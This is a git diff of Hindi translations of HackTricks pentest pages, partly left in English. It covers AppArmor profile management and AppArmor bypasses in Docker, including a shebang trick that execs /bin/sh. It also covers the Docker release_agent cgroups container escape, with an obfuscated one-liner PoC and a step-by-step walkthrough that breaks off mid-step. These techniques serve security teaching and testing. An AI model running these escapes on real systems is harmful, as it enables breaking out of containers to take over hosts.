फिर, एक विभिन्न कंसोल में वह सभी क्रियाएँ करें जो बाइनरी सामान्य रूप से करेगा:
|
||||
फिर, एक अलग कंसोल में सभी क्रियाएँ करें जो बाइनरी आमतौर पर करेगी:
|
||||
```bash
|
||||
/path/to/binary -a dosomething
|
||||
```
|
||||
तो, पहली कंसोल में "**s**" दबाएं और फिर रिकॉर्डेड क्रियाओं में इंडिकेट करें कि आप क्या अनदेखा करना चाहते हैं, अनुमति देना चाहते हैं, या कुछ और। जब आप समाप्त हो जाएं तो "**f**" दबाएं और नया प्रोफ़ाइल _/etc/apparmor.d/path.to.binary_ में बनाया जाएगा
|
||||
फिर, पहले कंसोल में "**s**" दबाएं और फिर रिकॉर्ड की गई क्रियाओं में संकेत दें कि आप क्या अनदेखा, अनुमति या कुछ और करना चाहते हैं। जब आप समाप्त कर लें, तो "**f**" दबाएं और नया प्रोफ़ाइल _/etc/apparmor.d/path.to.binary_ में बनाया जाएगा।
|
||||
|
||||
{% hint style="info" %}
|
||||
एरो कुंजी का उपयोग करके आप चुन सकते हैं कि आप क्या अनुमति देना/इनकार/कुछ और चाहते हैं
|
||||
तीर कुंजियों का उपयोग करके आप चुन सकते हैं कि आप क्या अनुमति/अस्वीकृत/कुछ और करना चाहते हैं
|
||||
{% endhint %}
|
||||
|
||||
### aa-easyprof
|
||||
|
||||
आप एक बाइनरी के एक apparmor प्रोफ़ाइल का टेम्प्लेट भी बना सकते हैं:
|
||||
आप एक बाइनरी के apparmor प्रोफ़ाइल का टेम्पलेट भी बना सकते हैं:
|
||||
```bash
|
||||
sudo aa-easyprof /path/to/binary
|
||||
# vim:syntax=apparmor
|
||||
|
@ -123,24 +109,24 @@ sudo aa-easyprof /path/to/binary
|
|||
}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
ध्यान दें कि एक बनाए गए प्रोफ़ाइल में डिफ़ॉल्ट रूप से कुछ भी अनुमति नहीं है, इसलिए सब कुछ निषेधित है। उदाहरण के लिए बाइनरी को `/etc/passwd r,` पढ़ने की अनुमति देने के लिए आपको लाइन जोड़नी होगी।
|
||||
ध्यान दें कि एक बनाए गए प्रोफ़ाइल में डिफ़ॉल्ट रूप से कुछ भी अनुमति नहीं है, इसलिए सब कुछ अस्वीकृत है। आपको `/etc/passwd r,` जैसी पंक्तियाँ जोड़ने की आवश्यकता होगी ताकि बाइनरी को `/etc/passwd` पढ़ने की अनुमति मिल सके, उदाहरण के लिए।
|
||||
{% endhint %}
|
||||
|
||||
आप फिर नए प्रोफ़ाइल को **लागू** कर सकते हैं
|
||||
आप फिर **लागू** कर सकते हैं नया प्रोफ़ाइल के साथ
|
||||
```bash
|
||||
sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
|
||||
```
|
||||
### लॉग से प्रोफ़ाइल को संशोधित करना
|
||||
### Modifying a profile from logs
|
||||
|
||||
निम्नलिखित टूल लॉग पढ़ेगा और उपयोगकर्ता से पूछेगा कि क्या वह कुछ प्रतिबंधित क्रियाओं की अनुमति देना चाहता है:
|
||||
निम्नलिखित उपकरण लॉग पढ़ेगा और उपयोगकर्ता से पूछेगा कि क्या वह कुछ पहचाने गए प्रतिबंधित क्रियाओं की अनुमति देना चाहता है:
|
||||
```bash
|
||||
sudo aa-logprof
|
||||
```
|
||||
{% hint style="info" %}
|
||||
एरो कुंजी का उपयोग करके आप चुन सकते हैं कि आप क्या अनुमति देना/विरोध/या कुछ भी करना चाहते हैं।
|
||||
तीर कुंजियों का उपयोग करके आप चुन सकते हैं कि आप क्या अनुमति देना/अस्वीकृत करना/कुछ और करना चाहते हैं
|
||||
{% endhint %}
|
||||
|
||||
### प्रोफ़ाइल प्रबंधन
|
||||
### प्रोफ़ाइल प्रबंधित करना
|
||||
```bash
|
||||
#Main profile management commands
|
||||
apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode
|
||||
|
@ -148,9 +134,9 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain
|
|||
apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile
|
||||
apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
|
||||
```
|
||||
## लॉग
|
||||
## Logs
|
||||
|
||||
**AUDIT** और **DENIED** लॉग का उदाहरण _/var/log/audit/audit.log_ से एक्जीक्यूटेबल **`service_bin`** का:
|
||||
Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**:
|
||||
```bash
|
||||
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
|
||||
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
|
||||
|
@ -173,9 +159,9 @@ Logfile: /var/log/audit/audit.log
|
|||
AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021)
|
||||
For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor
|
||||
```
|
||||
## डॉकर में Apparmor
|
||||
## Apparmor in Docker
|
||||
|
||||
ध्यान दें कि डॉकर का प्रोफ़ाइल **docker-profile** डिफ़ॉल्ट रूप से लोड होता है:
|
||||
ध्यान दें कि **docker-profile** का प्रोफ़ाइल डॉकर द्वारा डिफ़ॉल्ट रूप से लोड किया जाता है:
|
||||
```bash
|
||||
sudo aa-status
|
||||
apparmor module is loaded.
|
||||
|
@ -191,85 +177,97 @@ apparmor module is loaded.
|
|||
/usr/lib/connman/scripts/dhclient-script
|
||||
docker-default
|
||||
```
|
||||
By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
डिफ़ॉल्ट रूप से **Apparmor docker-default प्रोफ़ाइल** [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) से उत्पन्न होती है
|
||||
|
||||
**docker-default profile Summary**:
|
||||
**docker-default प्रोफ़ाइल सारांश**:
|
||||
|
||||
* **सभी नेटवर्किंग** तक **पहुंच**
|
||||
* **कोई क्षमता** परिभाषित नहीं है (हालांकि, कुछ क्षमताएँ मूल बेस नियम शामिल करने से आएगी जैसे #include \<abstractions/base> )
|
||||
* किसी भी **/proc** फ़ाइल में **लेखन** की **अनुमति नहीं** है
|
||||
* **अन्य उपनिर्देशिकाएँ**/**फ़ाइलें** /**proc** और /**sys** की **पढ़ने/लिखने/लॉक/लिंक/क्रियान्वयन पहुंच** को **इनकार किया गया है**
|
||||
* **माउंट** की **अनुमति नहीं** है
|
||||
* **Ptrace** केवल उस प्रक्रिया पर चलाया जा सकता है जो **एक ही apparmor प्रोफ़ाइल द्वारा सीमित** है
|
||||
* सभी **नेटवर्किंग** तक **पहुँच**
|
||||
* **कोई क्षमता** परिभाषित नहीं है (हालांकि, कुछ क्षमताएँ बुनियादी आधार नियमों को शामिल करने से आएँगी यानी #include \<abstractions/base>)
|
||||
* किसी भी **/proc** फ़ाइल में **लिखना** **अनुमति नहीं है**
|
||||
* /**proc** और /**sys** के अन्य **उपनिर्देशिकाएँ**/**फ़ाइलें** पढ़ने/लिखने/लॉक/लिंक/निष्पादित करने की पहुँच **अस्वीकृत** हैं
|
||||
* **माउंट** **अनुमति नहीं है**
|
||||
* **Ptrace** केवल उस प्रक्रिया पर चलाया जा सकता है जो **समान apparmor प्रोफ़ाइल** द्वारा सीमित है
|
||||
|
||||
एक बार जब आप **एक डॉकर कंटेनर चलाते हैं** तो आपको निम्नलिखित आउटपुट दिखाई देना चाहिए:
|
||||
एक बार जब आप **docker कंटेनर** चलाते हैं, तो आपको निम्नलिखित आउटपुट देखना चाहिए:
|
||||
```bash
|
||||
1 processes are in enforce mode.
|
||||
docker-default (825)
|
||||
```
|
||||
नोट करें कि **एपार्मर** डिफ़ॉल्ट रूप से कंटेनर को दी गई **क्षमताएँ भी रोक देगा**। उदाहरण के लिए, यह **/proc के अंदर लिखने की अनुमति को रोक सकता है भले ही SYS\_ADMIN क्षमता दी गई हो** क्योंकि डॉकर एपार्मर प्रोफ़ाइल डिफ़ॉल्ट रूप से इस पहुंच को इनकार करता है:
|
||||
ध्यान दें कि **apparmor डिफ़ॉल्ट रूप से कंटेनर को दी गई क्षमताओं के विशेषाधिकारों को भी ब्लॉक करेगा**। उदाहरण के लिए, यह **/proc के अंदर लिखने की अनुमति को ब्लॉक कर सकेगा, भले ही SYS\_ADMIN क्षमता दी गई हो** क्योंकि डिफ़ॉल्ट रूप से docker apparmor प्रोफ़ाइल इस एक्सेस को अस्वीकार करती है:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
|
||||
echo "" > /proc/stat
|
||||
sh: 1: cannot create /proc/stat: Permission denied
|
||||
```
|
||||
आपको **apparmor को अक्षम** करना होगा ताकि इसकी प्रतिबंधिताओं को अनदेखा किया जा सके:
|
||||
आपको इसकी सीमाओं को बायपास करने के लिए **apparmor** को अक्षम करना होगा:
|
||||
```bash
|
||||
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
|
||||
```
|
||||
नोट करें कि डिफ़ॉल्ट रूप से **AppArmor** भी **कंटेनर को माउंट करने से रोकेगा** अंदर से भी SYS\_ADMIN क्षमता के साथ।
|
||||
ध्यान दें कि डिफ़ॉल्ट रूप से **AppArmor** भी **कंटेनर को** अंदर से फ़ोल्डर माउंट करने **से मना करेगा** भले ही SYS\_ADMIN क्षमता हो।
|
||||
|
||||
नोट करें कि आप **क्षमताएँ जोड़ सकते/हटा सकते हैं** डॉकर कंटेनर में (यह अब भी **AppArmor** और **Seccomp** जैसी सुरक्षा विधियों द्वारा प्रतिबंधित रहेगा):
|
||||
ध्यान दें कि आप **docker** कंटेनर में **क्षमताएँ** **जोड़/हटा** सकते हैं (यह अभी भी **AppArmor** और **Seccomp** जैसी सुरक्षा विधियों द्वारा प्रतिबंधित होगा):
|
||||
|
||||
* `--cap-add=SYS_ADMIN` `SYS_ADMIN` क्षमता दें
|
||||
* `--cap-add=ALL` सभी क्षमताएँ दें
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` सभी क्षमताएँ हटाएं और केवल `SYS_PTRACE` दें
|
||||
* `--cap-drop=ALL --cap-add=SYS_PTRACE` सभी क्षमताएँ हटा दें और केवल `SYS_PTRACE` दें
|
||||
|
||||
{% hint style="info" %}
|
||||
सामान्यत: जब आपको पाता चलता है कि आपके पास एक **विशेषाधिकार क्षमता** उपलब्ध है **कंटेनर के अंदर** **लेकिन** कुछ हिस्सा **एक्सप्लॉइट काम नहीं कर रहा है**, तो यह इसलिए हो सकता है कि डॉकर **AppArmor इसे रोक रहा होगा**।
|
||||
आमतौर पर, जब आप **पाते** हैं कि आपके पास एक **विशिष्ट क्षमता** **docker** कंटेनर के **अंदर** उपलब्ध है **लेकिन** **शोषण का कुछ हिस्सा काम नहीं कर रहा है**, तो इसका कारण यह होगा कि docker **apparmor इसे रोक रहा होगा**।
|
||||
{% endhint %}
|
||||
|
||||
### उदाहरण
|
||||
|
||||
(उदाहरण [**यहाँ से**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) से)
|
||||
(उदाहरण [**यहां**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/) से)
|
||||
|
||||
AppArmor कार्यक्षमता को विस्तारित करने के लिए, मैंने एक नया डॉकर प्रोफ़ाइल "mydocker" बनाया जिसमें निम्नलिखित पंक्ति जोड़ी गई:
|
||||
AppArmor कार्यक्षमता को स्पष्ट करने के लिए, मैंने निम्नलिखित पंक्ति के साथ एक नया Docker प्रोफ़ाइल "mydocker" बनाया:
|
||||
```
|
||||
deny /etc/* w, # deny write for all files directly in /etc (not in a subdir)
|
||||
```
|
||||
इस प्रोफ़ाइल को सक्रिय करने के लिए, हमें निम्नलिखित कार्रवाई करनी होगी:
|
||||
प्रोफ़ाइल को सक्रिय करने के लिए, हमें निम्नलिखित करना होगा:
|
||||
```
|
||||
sudo apparmor_parser -r -W mydocker
|
||||
```
|
||||
अद्यतन किए गए AppArmor प्रोफ़ाइल को सूचीबद्ध करने के लिए, हम निम्नलिखित कमांड का उपयोग कर सकते हैं। नीचे दिए गए कमांड मेरे नए AppArmor प्रोफ़ाइल को सूचीबद्ध कर रहा है।
|
||||
प्रोफाइल सूचीबद्ध करने के लिए, हम निम्नलिखित कमांड कर सकते हैं। नीचे दी गई कमांड मेरे नए AppArmor प्रोफाइल को सूचीबद्ध कर रही है।
|
||||
```
|
||||
$ sudo apparmor_status | grep mydocker
|
||||
mydocker
|
||||
```
|
||||
जैसा नीचे दिखाया गया है, हमें " /etc/ " बदलने की कोशिश करने पर त्रुटि मिलती है क्योंकि AppArmor प्रोफ़ाइल " /etc/ " में लेखन पहुंचने से रोक रहा है।
|
||||
जैसा कि नीचे दिखाया गया है, जब हम “/etc/” को बदलने की कोशिश करते हैं तो हमें त्रुटि मिलती है क्योंकि AppArmor प्रोफ़ाइल “/etc” पर लिखने की पहुँच को रोक रही है।
|
||||
```
|
||||
$ docker run --rm -it --security-opt apparmor:mydocker -v ~/haproxy:/localhost busybox chmod 400 /etc/hostname
|
||||
chmod: /etc/hostname: Permission denied
|
||||
```
|
||||
### AppArmor डॉकर बायपास1
|
||||
### AppArmor Docker Bypass1
|
||||
|
||||
आप निम्नलिखित का उपयोग करके **पता लगा सकते हैं कि कौन सा **apparmor प्रोफ़ाइल** एक कंटेनर चला रहा है**:
|
||||
आप यह पता लगा सकते हैं कि **कौन सा apparmor प्रोफ़ाइल एक कंटेनर चला रहा है**:
|
||||
```bash
|
||||
docker inspect 9d622d73a614 | grep lowpriv
|
||||
"AppArmorProfile": "lowpriv",
|
||||
"apparmor=lowpriv"
|
||||
```
|
||||
फिर, आप निम्नलिखित पंक्ति को चला सकते हैं **उपयोग किया जा रहा सटीक प्रोफ़ाइल खोजने के लिए**:
|
||||
फिर, आप निम्नलिखित पंक्ति चला सकते हैं **सटीक प्रोफ़ाइल खोजने के लिए जो उपयोग की जा रही है**:
|
||||
```bash
|
||||
find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
|
||||
```
|
||||
In the weird case you can **modify the apparmor docker profile and reload it.** You could remove the restrictions and "bypass" them.
|
||||
|
||||
### AppArmor Docker Bypass2
|
||||
|
||||
**AppArmor का मार्ग-आधारित है**, इसका मतलब है कि यदि यह **फ़ाइलें सुरक्षित कर रहा है** तो भी एक निर्देशिका के भीतर फ़ाइलें जैसे **`/proc`** अगर आप **कॉन्टेनर को कैसे चलाया जाएगा वह विन्यासित कर सकते हैं**, तो आप **माउंट** कर सकते हैं होस्ट के proc निर्देशिका को **`/host/proc`** और यह **अब AppArmor द्वारा सुरक्षित नहीं होगा**।
|
||||
**AppArmor is path based**, this means that even if it might be **protecting** files inside a directory like **`/proc`** if you can **configure how the container is going to be run**, you could **mount** the proc directory of the host inside **`/host/proc`** and it **won't be protected by AppArmor anymore**.
|
||||
|
||||
### AppArmor Shebang Bypass
|
||||
|
||||
[**इस बग**](https://bugs.launchpad.net/apparmor/+bug/1911431) में आप देख सकते हैं कि **यदि आप किसी विशेष संसाधन के साथ पर्ल को चलाने से रोक रहे हैं**, तो भी यदि आप केवल पहली पंक्ति में **`#!/usr/bin/perl`** निर्दिष्ट करते हैं और आप **फ़ाइल को सीधे निष्पादित करते हैं**, तो आप चाहें जो भी चाहें निष्पादित कर सकते हैं। उदा:
|
||||
In [**this bug**](https://bugs.launchpad.net/apparmor/+bug/1911431) you can see an example of how **even if you are preventing perl to be run with certain resources**, if you just create a a shell script **specifying** in the first line **`#!/usr/bin/perl`** and you **execute the file directly**, you will be able to execute whatever you want. E.g.:
|
||||
|
||||
अजीब स्थिति में आप **apparmor docker प्रोफ़ाइल को संशोधित कर सकते हैं और इसे फिर से लोड कर सकते हैं।** आप प्रतिबंधों को हटा सकते हैं और "बायपास" कर सकते हैं।
|
||||
|
||||
### AppArmor Docker Bypass2
|
||||
|
||||
**AppArmor पथ आधारित है**, इसका मतलब है कि भले ही यह एक निर्देशिका के अंदर फ़ाइलों की **रक्षा** कर रहा हो जैसे कि **`/proc`** यदि आप **कॉन्फ़िगर कर सकते हैं कि कंटेनर कैसे चलाया जाएगा**, आप **माउंट** कर सकते हैं होस्ट की proc निर्देशिका को **`/host/proc`** के अंदर और यह **अब AppArmor द्वारा संरक्षित नहीं होगा**।
|
||||
|
||||
### AppArmor Shebang Bypass
|
||||
|
||||
[**इस बग**](https://bugs.launchpad.net/apparmor/+bug/1911431) में आप एक उदाहरण देख सकते हैं कि **भले ही आप कुछ संसाधनों के साथ perl को चलाने से रोक रहे हों**, यदि आप बस एक शेल स्क्रिप्ट बनाते हैं **पहली पंक्ति में निर्दिष्ट करते हुए** **`#!/usr/bin/perl`** और आप **फाइल को सीधे निष्पादित करते हैं**, तो आप जो चाहें उसे निष्पादित कर सकेंगे। उदाहरण:
|
||||
```perl
|
||||
echo '#!/usr/bin/perl
|
||||
use POSIX qw(strftime);
|
||||
|
@ -279,29 +277,17 @@ exec "/bin/sh"' > /tmp/test.pl
|
|||
chmod +x /tmp/test.pl
|
||||
/tmp/test.pl
|
||||
```
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** प्रेरित खोज इंजन है जो **मुफ्त** सुविधाएं प्रदान करता है ताकि जांच सकें कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **क्षति** पहुंचाई गई है या नहीं।
|
||||
|
||||
WhiteIntel का मुख्य उद्देश्य खाता हासिल करने और जानकारी चुराने वाले मैलवेयर से होने वाले रैंसमवेयर हमलों का मुकाबला करना है।
|
||||
|
||||
आप उनकी वेबसाइट चेक कर सकते हैं और **मुफ्त** में उनका इंजन प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम एक्सपर्ट (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम एक्सपर्ट (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
सीखें और प्रैक्टिस करें AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
सीखें और प्रैक्टिस करें GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>HackTricks का समर्थन करें</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 पर **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
|
||||
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।**
|
||||
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रिपोजिटरी में PRs सबमिट करें।
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,37 +1,24 @@
|
|||
# Docker release\_agent cgroups escape
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण AWS रेड टीम विशेषज्ञ (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks प्रशिक्षण GCP रेड टीम विशेषज्ञ (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>हैकट्रिक्स का समर्थन करें</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जाँच करें!
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में PR जमा करके।
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
**अधिक जानकारी के लिए, कृपया** [**मूल ब्लॉग पोस्ट**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** को देखें।** यह केवल एक सारांश है:
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** पर आधारित खोज इंजन है जो **नि:शुल्क** सुविधाएं प्रदान करता है ताकि यह जांच सकें कि कोई कंपनी या उसके ग्राहकों को **स्टीलर मैलवेयर्स** द्वारा **कंप्रोमाइज** किया गया है या नहीं।
|
||||
|
||||
WhiteIntel का मुख्य उद्देश्य खाता हस्तांतरण और जानकारी चोरी करने वाले मैलवेयर से होने वाले रैंसमवेयर हमलों का मुकाबला करना है।
|
||||
|
||||
आप उनकी वेबसाइट देख सकते हैं और **नि:शुल्क** में उनका इंजन प्रयास कर सकते हैं:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**अधिक विवरण के लिए, मूल ब्लॉग पोस्ट**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)** का संदर्भ देखें। यह केवल एक सारांश है:**
|
||||
|
||||
मूल PoC:
|
||||
Original PoC:
|
||||
```shell
|
||||
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
|
||||
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
|
||||
|
@ -39,63 +26,51 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
|||
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
|
||||
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
|
||||
```
|
||||
प्रमाण संदर्भ (PoC) एक विधि का प्रदर्शन करता है जिससे cgroups का शोषण किया जा सकता है एक `release_agent` फ़ाइल बनाकर और इसके आह्वान को ट्रिगर करके कंटेनर होस्ट पर विभिन्न कमांड्स को निषेधात्मक रूप से चलाने के लिए। यहाँ शामिल हैं जो कदम शामिल हैं:
|
||||
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
|
||||
|
||||
1. **पर्यावरण की तैयारी:**
|
||||
* एक निर्देशिका `/tmp/cgrp` बनाई गई है जो cgroup के लिए माउंट पॉइंट के रूप में सेवा करेगी।
|
||||
* RDMA cgroup नियंत्रक को इस निर्देशिका पर माउंट किया गया है। RDMA नियंत्रक की अनुपस्थिति के मामले में, एक वैकल्पिक रूप से `memory` cgroup नियंत्रक का उपयोग करने की सिफारिश की जाती है।
|
||||
1. **पर्यावरण तैयार करें:**
|
||||
* एक निर्देशिका `/tmp/cgrp` बनाई जाती है जो cgroup के लिए माउंट पॉइंट के रूप में कार्य करती है।
|
||||
* RDMA cgroup नियंत्रक को इस निर्देशिका में माउंट किया जाता है। RDMA नियंत्रक की अनुपस्थिति की स्थिति में, वैकल्पिक के रूप में `memory` cgroup नियंत्रक का उपयोग करने की सिफारिश की जाती है।
|
||||
```shell
|
||||
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
|
||||
```
|
||||
2. **बच्चा सीग्रुप सेट अप करें:**
|
||||
* माउंट किए गए सीग्रुप निर्देशिका के भीतर "x" नाम का एक बच्चा सीग्रुप बनाया जाता है।
|
||||
* "x" सीग्रुप के लिए सूचनाएं सक्षम की जाती हैं जिसके लिए उसके notify\_on\_release फ़ाइल में 1 लिखकर।
|
||||
2. **बच्चे Cgroup सेट करें:**
|
||||
* एक बच्चे cgroup जिसका नाम "x" है, माउंट किए गए cgroup निर्देशिका के भीतर बनाया गया है।
|
||||
* "x" cgroup के लिए सूचनाएँ सक्षम की जाती हैं, इसके notify\_on\_release फ़ाइल में 1 लिखकर।
|
||||
```shell
|
||||
echo 1 > /tmp/cgrp/x/notify_on_release
|
||||
```
|
||||
3. **रिलीज एजेंट कॉन्फ़िगर करें:**
|
||||
3. **रिलीज एजेंट को कॉन्फ़िगर करें:**
|
||||
* होस्ट पर कंटेनर का पथ /etc/mtab फ़ाइल से प्राप्त किया जाता है।
|
||||
* फिर cgroup का release\_agent फ़ाइल कॉन्फ़िगर किया जाता है ताकि एक स्क्रिप्ट जिसका नाम /cmd है जो प्राप्त होस्ट पथ पर स्थित है, को निष्पादित करें।
|
||||
* फिर cgroup की release\_agent फ़ाइल को प्राप्त किए गए होस्ट पथ पर स्थित /cmd नामक स्क्रिप्ट को निष्पादित करने के लिए कॉन्फ़िगर किया जाता है।
|
||||
```shell
|
||||
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
|
||||
echo "$host_path/cmd" > /tmp/cgrp/release_agent
|
||||
```
|
||||
4. **/cmd स्क्रिप्ट बनाएं और कॉन्फ़िगर करें:**
|
||||
* /cmd स्क्रिप्ट कंटेनर के अंदर बनाया जाता है और इसे कॉन्फ़िगर किया जाता है कि ps aux को execute करें, जो आउटपुट को कंटेनर में /output नामक फ़ाइल में redirect करेगा। /output का पूरा पथ होस्ट पर निर्दिष्ट किया जाता है।
|
||||
* /cmd स्क्रिप्ट कंटेनर के अंदर बनाई जाती है और इसे ps aux निष्पादित करने के लिए कॉन्फ़िगर किया जाता है, जिसका आउटपुट कंटेनर में /output नामक फ़ाइल में पुनर्निर्देशित किया जाता है। होस्ट पर /output का पूरा पथ निर्दिष्ट किया गया है।
|
||||
```shell
|
||||
echo '#!/bin/sh' > /cmd
|
||||
echo "ps aux > $host_path/output" >> /cmd
|
||||
chmod a+x /cmd
|
||||
```
|
||||
5. **हमला प्रारंभ करें:**
|
||||
* एक प्रक्रिया "x" बाल cgroup के अंदर प्रारंभ की जाती है और तुरंत समाप्त हो जाती है।
|
||||
* इससे `release_agent` (/cmd स्क्रिप्ट) को ट्रिगर होता है, जो होस्ट पर ps aux का निष्पादन करता है और आउटपुट को कंटेनर के अंदर /output में लिखता है।
|
||||
5. **हमला शुरू करें:**
|
||||
* "x" चाइल्ड cgroup के भीतर एक प्रक्रिया शुरू की जाती है और तुरंत समाप्त कर दी जाती है।
|
||||
